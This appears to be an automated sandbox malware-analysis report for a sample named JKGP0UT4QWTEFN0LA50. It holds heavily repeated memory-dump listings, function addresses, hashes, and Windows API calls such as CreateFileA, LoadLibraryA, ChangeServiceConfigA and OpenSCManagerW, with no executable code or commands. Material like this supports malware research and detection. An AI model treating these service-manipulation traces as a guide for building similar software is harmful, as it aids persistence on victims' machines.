Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 1c822437795d2e19321bc625c3bc63aff446b9a303b5ce7a509d91ce8ee6f3f1
Instruction ID: 6f780f3d0cf3290f8a621c7766fa93398778d068ba69bb81adece7cc79af1477
Opcode Fuzzy Hash: 1c822437795d2e19321bc625c3bc63aff446b9a303b5ce7a509d91ce8ee6f3f1
Instruction Fuzzy Hash: 471127B260C2C9AEE714CAA69A409FB77D9DF86730B30559AF842E6512D3711CC0D168

Function 00EE1F83 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,00EE1EA3,00000003,00000000,00000003), ref: 00EE1F3F

Strings

C, xrefs: 00EE1F99

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 8af049d9b88271ebc547e785a885c57194896299f5ff72e8bd229e1580417776
Instruction ID: aaae2fbfed05ae190cd22a6abcbc555a58813b9908925390636141666db97b4a
Opcode Fuzzy Hash: 8af049d9b88271ebc547e785a885c57194896299f5ff72e8bd229e1580417776
Instruction Fuzzy Hash: 09014772A0C28E9FDB15DF66C842AAE77D0DF06324F18149AD482AB592D3351CD0D798

Function 00EE1B2B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,8692905E,00000003,00000000,00000003), ref: 00EE1BB6

Strings

A, xrefs: 00EE1B2B

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID: A
API String ID: 823142352-3554254475
Opcode ID: de91a947d5be92ffc89f1459df197c743082746d95a79ddbfe19536a5a27ac6c
Instruction ID: c095d29b0dbe513c631c17b4001702f82c9ba25ce77f66978d4acc3c5e1c2f20
Opcode Fuzzy Hash: de91a947d5be92ffc89f1459df197c743082746d95a79ddbfe19536a5a27ac6c
Instruction Fuzzy Hash: 78F0F67614839DFDE701CE268D90FFAB769FB41330F201458E0C6BB081D2B219899660

Function 04FA15C4 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04FA18C8

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 1ee8396fb0b31070eb2144bc5ab28087bfe647dd79388038a44e50f1453537dc
Instruction ID: ac7107f5c6736cfb830abc5fc4e53235f72bdac2cf79d8fb49a25fca15f6130f
Opcode Fuzzy Hash: 1ee8396fb0b31070eb2144bc5ab28087bfe647dd79388038a44e50f1453537dc
Instruction Fuzzy Hash: B1C17DB0D102598FDB10CFA8CA457EEBBF1FF48314F158529E855E7284DB74A9A2CB81

Function 00EDF996 Relevance: 1.6, APIs: 1, Instructions: 103
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00EDF996

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e3f6bea59d84e1fcc820ee9cd5ce0577a7b113ec016dcd8bf5fa29f78efbbd99
Instruction ID: 79f99af83f91654dbaad6c681ea0b4f83bbe550c9e04446b4fc43434a63bf76a
Opcode Fuzzy Hash: e3f6bea59d84e1fcc820ee9cd5ce0577a7b113ec016dcd8bf5fa29f78efbbd99
Instruction Fuzzy Hash: 4B316DB290C210AFE311BE29DC417BEFBE9EF84721F06492DE6D483650D63558408BD7

Function 00EE1EC8 Relevance: 1.6, APIs: 1, Instructions: 64
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,00EE1EA3,00000003,00000000,00000003), ref: 00EE1F3F

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 95c25cb6130b3a8fcc82dd60cd7a8c4a598e9d035d37e4401cec6c01eb54715d
Instruction ID: 3db093f1c97905891a44e12c307758d51ab58006e268e942ec9556c8561ab49c
Opcode Fuzzy Hash: 95c25cb6130b3a8fcc82dd60cd7a8c4a598e9d035d37e4401cec6c01eb54715d
Instruction Fuzzy Hash: 6801F5B210C38A6DE705CBA19A519FB77A8DF87730B30856EFC02D7442D7611C859668

Function 04FA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FA0DCD

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
